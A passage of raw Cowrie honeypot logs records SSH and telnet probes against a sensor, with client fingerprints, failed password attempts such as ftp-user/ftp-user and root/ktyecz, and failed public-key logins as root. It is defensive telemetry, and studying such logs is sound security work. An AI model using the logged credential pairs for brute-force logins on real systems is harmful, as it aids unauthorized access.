{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:00.522753Z","src_ip":"201.186.40.161","session":"95339908c84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"ftp-user","message":"login attempt [ftp-user/ftp-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:01.163957Z","src_ip":"201.186.40.161","session":"95339908c84d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:02.321849Z","src_ip":"201.186.40.161","session":"95339908c84d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55528,"dst_ip":"159.203.135.109","dst_port":23,"session":"67d5a29ca55c","protocol":"telnet","message":"New connection: 135.148.14.151:55528 (159.203.135.109:23) [session: 67d5a29ca55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:05.515110Z"}
{"eventid":"cowrie.session.closed","duration":39.432031869888306,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:10.149965Z","src_ip":"135.148.14.151","session":"5161bdd76765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60002,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae41a9e57cc0","protocol":"telnet","message":"New connection: 135.148.14.151:60002 (159.203.135.109:23) [session: ae41a9e57cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:11.275697Z"}
{"eventid":"cowrie.session.closed","duration":33.33954977989197,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:12.966724Z","src_ip":"135.148.14.151","session":"2884a9beff35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.306275367736816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:20.123993Z","src_ip":"135.148.14.151","session":"83ce668529f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87555408477783,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:32.498187Z","src_ip":"135.148.14.151","session":"bd250f5bae04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70729994773865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:32.823709Z","src_ip":"135.148.14.151","session":"99fe42671191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.62946319580078,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:34.144478Z","src_ip":"135.148.14.151","session":"67d5a29ca55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29324984550476,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:35.272826Z","src_ip":"135.148.14.151","session":"cdf6da50427d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56202,"dst_ip":"159.203.135.109","dst_port":22,"session":"177edd632cbc","protocol":"ssh","message":"New connection: 147.45.211.215:56202 (159.203.135.109:22) [session: 177edd632cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:35.718192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:35.723406Z","src_ip":"147.45.211.215","session":"177edd632cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:35.903387Z","src_ip":"147.45.211.215","session":"177edd632cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktyecz","message":"login attempt [root/ktyecz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:36.443893Z","src_ip":"147.45.211.215","session":"177edd632cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:37.628945Z","src_ip":"147.45.211.215","session":"177edd632cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b5fe369e318","protocol":"telnet","message":"New connection: 135.148.14.151:46248 (159.203.135.109:23) [session: 7b5fe369e318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:43.427274Z"}
{"eventid":"cowrie.session.closed","duration":34.49603295326233,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:45.771645Z","src_ip":"135.148.14.151","session":"ae41a9e57cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49640,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e18a6a3806f","protocol":"telnet","message":"New connection: 135.148.14.151:49640 (159.203.135.109:23) [session: 1e18a6a3806f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.121835Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.105.66","src_port":41872,"dst_ip":"10.17.0.5","dst_port":22,"session":"d189bb086da8","protocol":"ssh","message":"New connection: 74.48.105.66:41872 (10.17.0.5:22) [session: d189bb086da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.303510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.312199Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.380589Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:1c:03:4b:97:d9:98:28:0f:ec:01:72:0b:68:cf:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD5Jr0P3/rA2f6VUTCw6+iX1UFT8HurJKbGabGtoH28DsOk6PIDjZC0vYai4nJFUVwGDAdY5EGlhcT1hlRIetWNqqXo4diDMy2r2EHXGF1FITMPyy2WFV0OMboNiEhngt2rkO/xgNCBbgDtQeUIrig+NV8ghaj85uwrq8MTeSONFt35YNjuWNkzSY2xNI5FK4RTjrg4nSDD9yheLjHLUPSF+dbQXGW4JtJwesia3WYxe3LTvq1cFRnZvxTuoa8lPkcs/YceCgkjPOScY+waxiAOiqGtoLHxVXkv6KiUr9g7VqygYRSgHTiaLR8IIlYKZuhPxxrKR/CcNfVThLuaguR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:1c:03:4b:97:d9:98:28:0f:ec:01:72:0b:68:cf:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.697333Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:1c:03:4b:97:d9:98:28:0f:ec:01:72:0b:68:cf:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD5Jr0P3/rA2f6VUTCw6+iX1UFT8HurJKbGabGtoH28DsOk6PIDjZC0vYai4nJFUVwGDAdY5EGlhcT1hlRIetWNqqXo4diDMy2r2EHXGF1FITMPyy2WFV0OMboNiEhngt2rkO/xgNCBbgDtQeUIrig+NV8ghaj85uwrq8MTeSONFt35YNjuWNkzSY2xNI5FK4RTjrg4nSDD9yheLjHLUPSF+dbQXGW4JtJwesia3WYxe3LTvq1cFRnZvxTuoa8lPkcs/YceCgkjPOScY+waxiAOiqGtoLHxVXkv6KiUr9g7VqygYRSgHTiaLR8IIlYKZuhPxxrKR/CcNfVThLuaguR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.700870Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:94:29:63:59:e6:5c:c8:d9:81:a0:dd:51:b1:23:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzdNmfgSCdyCChNYdLhlXqF9547koJ3BuHlDrVdX9JAoVLFswaWXV3R+FrfAIg1spf+IzGn4/cxjXqsMwxWJvps43rcnh1KZoehkEDmsfTMhs6gndjLCxlTKgVj/WYyUrzLR4BabzDt88MFFAhkl1CFJ70Fo6AbcK7N/4NHAlzK1Gs5dfK3xX96nq+tdBu8eQ3pfqoyCNUWAAfLCkzyeXYNbsBcRJ7Ak3duAqCHmN/kvSi3fBn1y5C1atBghNf8R6+y0EPnWv7m2ST3i177MgG6NXXO5V+0O0ILj2WKhfTW3RtJnVtjk/e8y6uNYROg6++r5btjfEt68MaKkb7f0T5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:94:29:63:59:e6:5c:c8:d9:81:a0:dd:51:b1:23:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.769521Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:94:29:63:59:e6:5c:c8:d9:81:a0:dd:51:b1:23:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzdNmfgSCdyCChNYdLhlXqF9547koJ3BuHlDrVdX9JAoVLFswaWXV3R+FrfAIg1spf+IzGn4/cxjXqsMwxWJvps43rcnh1KZoehkEDmsfTMhs6gndjLCxlTKgVj/WYyUrzLR4BabzDt88MFFAhkl1CFJ70Fo6AbcK7N/4NHAlzK1Gs5dfK3xX96nq+tdBu8eQ3pfqoyCNUWAAfLCkzyeXYNbsBcRJ7Ak3duAqCHmN/kvSi3fBn1y5C1atBghNf8R6+y0EPnWv7m2ST3i177MgG6NXXO5V+0O0ILj2WKhfTW3RtJnVtjk/e8y6uNYROg6++r5btjfEt68MaKkb7f0T5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.773509Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:53:91:98:0e:02:92:a9:0e:60:8a:06:ff:5b:2e:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4hPZnDX9choHpjy6Q4CJ7o2trccVuAWLjy1WSu1NpRCJKpyq0GYlIx+rZrGe2hCzVTXEk8jPJiOmrz8z1fWRSDUFxius3hOjefEr/b/oOCaKFMr44oWw05MZ1VAHQJomW8IZbcTjf7DuAiVaRLD9+wxKJz5TWZNsm7bBZ/sQwgTmmgm6wQTlUMfwlROP6GDGEZgS2U/mJ1fhSPAeXwkGuOBYdbxZVNGwMNskHpXscQbWEUhCjO0rCN6mX0y8/HXYcjmZ9C2NqurM3hMBidgZC/9vuwIjvoI6MD/SGRgQqRJGSefmP8GAPMfh70EcABzzjTRGSA+A4PNdczc75/c1Kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:53:91:98:0e:02:92:a9:0e:60:8a:06:ff:5b:2e:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.842248Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:53:91:98:0e:02:92:a9:0e:60:8a:06:ff:5b:2e:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4hPZnDX9choHpjy6Q4CJ7o2trccVuAWLjy1WSu1NpRCJKpyq0GYlIx+rZrGe2hCzVTXEk8jPJiOmrz8z1fWRSDUFxius3hOjefEr/b/oOCaKFMr44oWw05MZ1VAHQJomW8IZbcTjf7DuAiVaRLD9+wxKJz5TWZNsm7bBZ/sQwgTmmgm6wQTlUMfwlROP6GDGEZgS2U/mJ1fhSPAeXwkGuOBYdbxZVNGwMNskHpXscQbWEUhCjO0rCN6mX0y8/HXYcjmZ9C2NqurM3hMBidgZC/9vuwIjvoI6MD/SGRgQqRJGSefmP8GAPMfh70EcABzzjTRGSA+A4PNdczc75/c1Kw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.846384Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:b5:1c:c4:bd:4d:9d:76:fa:22:47:ac:ce:6d:ad:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ4NEdshDY5UsKdaY3l47XmpCcV5bYIvhFcxEbxqTQIY7LaeXB4OUQrC5AuCXFO7Fh7awFOnK8OC5/0Aykk8Enbb0SE9QHFqbarUXHTV5m5OBlwK5bj0kAJLqvb7d8BjzWFdAfg65kLg0IOF+uAur5GuFi3cGh8Q6PRxkVFc3GOzvEQvqZmbUDmR+EHxxU66C1HIhr5GNcgiRa+3oQyoRvUWTbzZOlVJJolp9SVeJCZ4bMq5jhEEcuKuF2pcV05HdXb+dSGEbtBnFstak9APtqrVwjR4VM+1se9pXmBku7E5Wu5s2SHCD7lUDr4jAY+9rPNn4Oza8+OpQ36COg6V8v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:b5:1c:c4:bd:4d:9d:76:fa:22:47:ac:ce:6d:ad:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.922005Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:b5:1c:c4:bd:4d:9d:76:fa:22:47:ac:ce:6d:ad:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ4NEdshDY5UsKdaY3l47XmpCcV5bYIvhFcxEbxqTQIY7LaeXB4OUQrC5AuCXFO7Fh7awFOnK8OC5/0Aykk8Enbb0SE9QHFqbarUXHTV5m5OBlwK5bj0kAJLqvb7d8BjzWFdAfg65kLg0IOF+uAur5GuFi3cGh8Q6PRxkVFc3GOzvEQvqZmbUDmR+EHxxU66C1HIhr5GNcgiRa+3oQyoRvUWTbzZOlVJJolp9SVeJCZ4bMq5jhEEcuKuF2pcV05HdXb+dSGEbtBnFstak9APtqrVwjR4VM+1se9pXmBku7E5Wu5s2SHCD7lUDr4jAY+9rPNn4Oza8+OpQ36COg6V8v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.926187Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:dd:9a:9b:ea:7c:1c:61:58:87:08:42:34:66:5e:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVEAp0GRyZdj1+ddFmEAGdMLPv3aa5ZtyfaFjQfNdUhcC2Rof8DRB5DwFl7YCd17o+gLqFJtgEgpAZJqa8hbt+JhBsA+EjRQYixEQWZJQqRJdcfuz69MEMT1A3JJyye8hWmEz2eOZy+vtX1X8J82rucnXuRTno+ZBghMF3KeHkwdG0Zz3qPa0wRh76aOEKdNB/ZYY8wHQgTwfkduvNPClkr6JyznBH/nhWmW331YFnZdPYPzuBKcYKvT8szZGWgBclzL0pRLJGLS8megxsZm+UA/AmOlXpV3TDCiUM+VF6lA9M9Jf2CvCBp9zrKCcGO5n9TWLCOkjNiPAwIZlNJ/XMkDR61Fe0xQv85Xhofd+HD3LI63yVXWiY+1/XFkGLQSkHXQEI+Bdb1eeAt5yzOEaHHsmCKbswAj+wI7IYxrXjGPXq//ZckfWivPDlEcGWng30Tc+pLukr93VZ6X2l4BFPB3MwhWHWPPYR8JL40muy5YhOjDBcUB2nFJjOOey2jNNDNdxh4b5YJJtp6dN1/5mOWcoa5hmn/ofyFCAGq/YFbTKTUjdoZSDp9y2ctOgyYMhsy0tU3IPHsGSHF6ZBxttWcdYjhAuTzOgRuBPLZMd2cuQQse5+aYpix+hz+Sjt9VouYTBgdYMUm+woYfRVpBOG2EViqSruNQuA92gSBqcEMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:dd:9a:9b:ea:7c:1c:61:58:87:08:42:34:66:5e:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:51.996969Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:dd:9a:9b:ea:7c:1c:61:58:87:08:42:34:66:5e:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVEAp0GRyZdj1+ddFmEAGdMLPv3aa5ZtyfaFjQfNdUhcC2Rof8DRB5DwFl7YCd17o+gLqFJtgEgpAZJqa8hbt+JhBsA+EjRQYixEQWZJQqRJdcfuz69MEMT1A3JJyye8hWmEz2eOZy+vtX1X8J82rucnXuRTno+ZBghMF3KeHkwdG0Zz3qPa0wRh76aOEKdNB/ZYY8wHQgTwfkduvNPClkr6JyznBH/nhWmW331YFnZdPYPzuBKcYKvT8szZGWgBclzL0pRLJGLS8megxsZm+UA/AmOlXpV3TDCiUM+VF6lA9M9Jf2CvCBp9zrKCcGO5n9TWLCOkjNiPAwIZlNJ/XMkDR61Fe0xQv85Xhofd+HD3LI63yVXWiY+1/XFkGLQSkHXQEI+Bdb1eeAt5yzOEaHHsmCKbswAj+wI7IYxrXjGPXq//ZckfWivPDlEcGWng30Tc+pLukr93VZ6X2l4BFPB3MwhWHWPPYR8JL40muy5YhOjDBcUB2nFJjOOey2jNNDNdxh4b5YJJtp6dN1/5mOWcoa5hmn/ofyFCAGq/YFbTKTUjdoZSDp9y2ctOgyYMhsy0tU3IPHsGSHF6ZBxttWcdYjhAuTzOgRuBPLZMd2cuQQse5+aYpix+hz+Sjt9VouYTBgdYMUm+woYfRVpBOG2EViqSruNQuA92gSBqcEMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:52.001384Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:52.072083Z","src_ip":"74.48.105.66","session":"d189bb086da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50660,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8c6d7582b4f","protocol":"ssh","message":"New connection: 62.133.62.83:50660 (159.203.135.109:22) [session: c8c6d7582b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:58.906196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:34:58.910974Z","src_ip":"62.133.62.83","session":"c8c6d7582b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr